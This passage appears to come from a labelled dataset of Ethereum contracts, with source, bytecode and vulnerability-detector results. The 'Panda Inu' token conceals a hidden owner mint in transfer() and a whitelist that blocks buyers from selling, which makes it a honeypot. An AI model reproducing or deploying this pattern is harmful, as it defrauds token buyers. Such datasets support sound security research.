91b565b6120a09190612951565b60e08201526013546064906120b5908561291b565b6120bf9190612951565b610100820181905260e082015160c08301516120db908661293a565b6120e5919061293a565b6120ef919061293a565b60a082015292915050565b60008080808061210a868961291b565b9450866121225750839250600091508190508061217c565b858960c00151612132919061291b565b9250858960e00151612144919061291b565b915085896101000151612157919061291b565b90508082612165858861293a565b61216f919061293a565b612179919061293a565b93505b945094509450945094565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106121bc576121bc612973565b60200260200101906001600160a01b031690816001600160a01b031681525050600860039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561222f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061225391906129ed565b8160018151811061226657612266612973565b6001600160a01b03928316602091820292909201015260085461229391309163010000009004168461150a565b60085460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac947906122d2908590600090869030904290600401612a0a565b600060405180830381600087803b1580156122ec57600080fd5b505af1158015612300573d6000803e3d6000fd5b505050505050565b600854612327903090630100000090046001600160a01b03168461150a565b60085460105460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a48201526301000000909204169063f305d71990839060c40160606040518083038185885af115801561239e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611ec49190612a7b565b804710156124135760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161091b565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612460576040519150601f19603f3d011682016040523d82523d6000602084013e612465565b606091505b50509050806124dc5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161091b565b505050565b81600b60008282546124f3919061293a565b90915550506014805482919060009061250d9084906129b8565b90915550505050565b806014600201600082825461252b91906129b8565b90915550503060009081526005602052604090205460ff161561256d5730600090815260026020526040812080548392906125679084906129b8565b90915550505b306000908152600160205260408120805484929061250d9084906129b8565b806014600101600082825461252b91906129b8565b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6001600160a01b038116811461150757600080fd5b801515811461150757600080fd5b6000806040838503121561262357600080fd5b823561262e816125ed565b9150602083013561263e81612602565b809150509250929050565b600060208083528351808285015260005b818110156126765785810183015185820160400152820161265a565b81811115612688576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156126b157600080fd5b82356126bc816125ed565b946020939093013593505050565b6000602082840312156126dc57600080fd5b5035919050565b6000806000606084860312156126f857600080fd5b8335612703816125ed565b92506020840135612713816125ed565b929592945050506040919091013590565b60006020828403121561273657600080fd5b8135610b67816125ed565b6000806040838503121561275457600080fd5b823561275f816125ed565b9150602083013561263e816125ed565b6000806040838503121561278257600080fd5b82359150602083013561263e81612602565b6000602082840312156127a657600080fd5b8135610b6781612602565b6000806000606084860312156127c657600080fd5b505081359360208301359350604090920135919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561286357816000190482111561284957612849612812565b8085161561285657918102915b93841c939080029061282d565b509250929050565b60008261287a57506001610960565b8161288757506000610960565b816001811461289d57600281146128a7576128c3565b6001915050610960565b60ff8411156128b8576128b8612812565b50506001821b610960565b5060208310610133831016604e8410600b84101617156128e6575081810a610960565b6128f08383612828565b806000190482111561290457612904612812565b029392505050565b6000610b6760ff84168361286b565b600081600019048311821515161561293557612935612812565b500290565b60008282101561294c5761294c612812565b500390565b60008261296e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b6000600182016129b1576129b1612812565b5060010190565b600082198211156129cb576129cb612812565b500190565b6000602082840312156129e257600080fd5b8151610b6781612602565b6000602082840312156129ff57600080fd5b8151610b67816125ed565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612a5a5784516001600160a01b031683529383019391830191600101612a35565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612a9057600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212200a541df8929a488d171fdf768df010a4274715d74f951fccf7364f1195e729d264736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,066
0x2e6b87e67a3f2489faf7747e378683c83e5a2381
/** *Submitted for verification at Etherscan.io on 2021-11-27 */ /* 🐼 PANDA INU IS A NEW ERC20 TOKEN THAT WILL TAKE THE MARKET BY STORM! 🐼 🐼 Inspired from Shiba, Panda is going to be a straight moon mission which will reward it's holders along this amazing ride to the top. 🐼 SET SLIPPAGE TO 11-13% TOTAL SUPPLY: 1,000,000,000,000 PANDA 🐼 5% REFLECTION 🔥 6% SENT TO MARKETING WALLET 💰 Panda Swap and NFT Marketplace will be released soon! Come join us on our moon mission! VISIT OUR SITE! -> www.pandainu.dog/ TALK TO OTHER INVESTORS! -> t.me/pandainutoken */ library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.10; contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit owned(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } // SPDX-License-Identifier: MIT contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function marketingwallet (address set) public checker { router = set; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function fee(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function chairtywallet(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { fee(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract PandaInu is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 1000000000000 * 10 ** 18; constructor () ERC20(unicode'Panda Inu','PANDABEAR') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461021d578063a9059cbb14610230578063cdc9f33c14610243578063dd62ed3e1461025657600080fd5b8063715018a6146101cd5780637c557b10146101d75780638da5cb5b146101ea57806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461019157806370a08231146101a457600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610af4565b60405180910390f35b61012b610126366004610b65565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61012b61015b366004610b8f565b610338565b60405160ff7f000000000000000000000000000000000000000000000000000000000000001216815260200161010f565b61012b61019f366004610b65565b6103ee565b61013f6101b2366004610bcb565b6001600160a01b031660009081526004602052604090205490565b6101d5610425565b005b6101d56101e5366004610bcb565b610499565b6002546101fd906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101026104e5565b61012b61022b366004610b65565b6104f4565b61012b61023e366004610b65565b61058f565b6101d5610251366004610bfc565b61069b565b61013f610264366004610cc1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60606007805461029e90610cf4565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610cf4565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e338484610709565b5060015b92915050565b600061034584848461082d565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103cf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103e385336103de8685610d45565b610709565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e9185906103de908690610d5c565b6000546001600160a01b0316331461044f5760405162461bcd60e51b81526004016103c690610d74565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280546001600160a01b0319169055565b6000546001600160a01b031633146104c35760405162461bcd60e51b81526004016103c690610d74565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60606008805461029e90610cf4565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105765760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103c6565b61058533856103de8685610d45565b5060019392505050565b600080546001600160a01b0316331480156105b1575060095460ff1615156001145b156105d4576105c2335b848461082d565b506009805460ff191690556001610332565b6000546001600160a01b0316331480156105f1575060095460ff16155b1561068a576006546106039083610a40565b6006556001600160a01b0383166000908152600460205260409020546106299083610a40565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061067a9086815260200190565b60405180910390a3506001610332565b610693336105bb565b506001610332565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016103c690610d74565b60005b8151811015610705576106f38282815181106106e6576106e6610da9565b6020026020010151610aa6565b806106fd81610dbf565b9150506106c8565b5050565b6001600160a01b03831661076b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c6565b6001600160a01b0382166107cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c6565b6001600160a01b0382166108f35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c6565b6001546001600160a01b038381169116141561092e576001600160a01b03831660009081526003602052604090205460ff1661092e57600080fd5b6001600160a01b038316600090815260046020526040902054818110156109a65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103c6565b6109b08282610d45565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906109e6908490610d5c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a3291815260200190565b60405180910390a350505050565b600080610a4d8385610d5c565b905083811015610a9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c6565b9392505050565b6000546001600160a01b03163314610ad05760405162461bcd60e51b81526004016103c690610d74565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b600060208083528351808285015260005b81811015610b2157858101830151858201604001528201610b05565b81811115610b33576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610b6057600080fd5b919050565b60008060408385031215610b7857600080fd5b610b8183610b49565b946020939093013593505050565b600080600060608486031215610ba457600080fd5b610bad84610b49565b9250610bbb60208501610b49565b9150604084013590509250925092565b600060208284031215610bdd57600080fd5b610a9f82610b49565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610c0f57600080fd5b823567ffffffffffffffff80821115610c2757600080fd5b818501915085601f830112610c3b57600080fd5b813581811115610c4d57610c4d610be6565b8060051b604051601f19603f83011681018181108582111715610c7257610c72610be6565b604052918252848201925083810185019188831115610c9057600080fd5b938501935b82851015610cb557610ca685610b49565b84529385019392850192610c95565b98975050505050505050565b60008060408385031215610cd457600080fd5b610cdd83610b49565b9150610ceb60208401610b49565b90509250929050565b600181811c90821680610d0857607f821691505b60208210811415610d2957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610d5757610d57610d2f565b500390565b60008219821115610d6f57610d6f610d2f565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610dd357610dd3610d2f565b506001019056fea26469706673582212206e177a9193ac25ffead89df610470dceac4572438c379cbc9352106c3aad09f764736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
1,067
0x25B407edC039E441Da7E74913023A4598E9a4CF5
pragma solidity ^0.4.24; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using &#39;super&#39; where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 public rate; uint256 public divisor; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(uint256 _rate, uint256 _divisor, address _wallet, ERC20 _token) public { require(_rate > 0); require(_divisor > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; divisor = _divisor; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ constructor(uint256 _openingTime, uint256 _closingTime) public { // solium-disable-next-line security/no-block-members require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract PhasedCrowdsale is TimedCrowdsale { uint256[] public phases; uint256[] public divisors; constructor(uint256[] _phases, uint256[] _divisors) { for(uint i = 0; i < _phases.length; i++) { require(openingTime < _phases[i] && closingTime > _phases[i]); } phases = _phases; divisors = _divisors; } function getCurrentPhaseCloseTime() view returns (int256, int256) { if(now < openingTime) { return (int256(openingTime), -2); } for(uint i = 0; i < phases.length; i++) { if(now < phases[i]) return (int256(phases[i]), int256(i)); } if(now < closingTime) { return (int256(closingTime), -1); } return (-1, -3); } function getCurrentPhaseDivisor() view returns (uint256) { var (closingTime, phaseIndex) = getCurrentPhaseCloseTime(); for(uint i = 0; i < phases.length; i++) { if(uint256(closingTime) == phases[i]) { return divisors[i]; } } } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 divisor = getCurrentPhaseDivisor(); return _weiAmount.div(divisor).mul(rate); } } contract YOLCrowdsale is Ownable, TimedCrowdsale, PhasedCrowdsale { address public afterCrowdsaleAddress; modifier onlyClosed { // solium-disable-next-line security/no-block-members require(block.timestamp > openingTime && block.timestamp > closingTime); _; } constructor( uint256 _rate, uint _divisor, address _wallet, ERC20 _token, uint256 _openingTime, uint256 _closingTime, uint256[] _phases, uint256[] _divisors, address _afterCrowdsaleAddress) public Ownable() Crowdsale(_rate, _divisor, _wallet, _token) TimedCrowdsale(_openingTime, _closingTime) PhasedCrowdsale(_phases, _divisors) { afterCrowdsaleAddress = _afterCrowdsaleAddress; } function finalize() onlyOwner onlyClosed { uint256 restTokenBalance = token.balanceOf(this); token.transfer(afterCrowdsaleAddress, 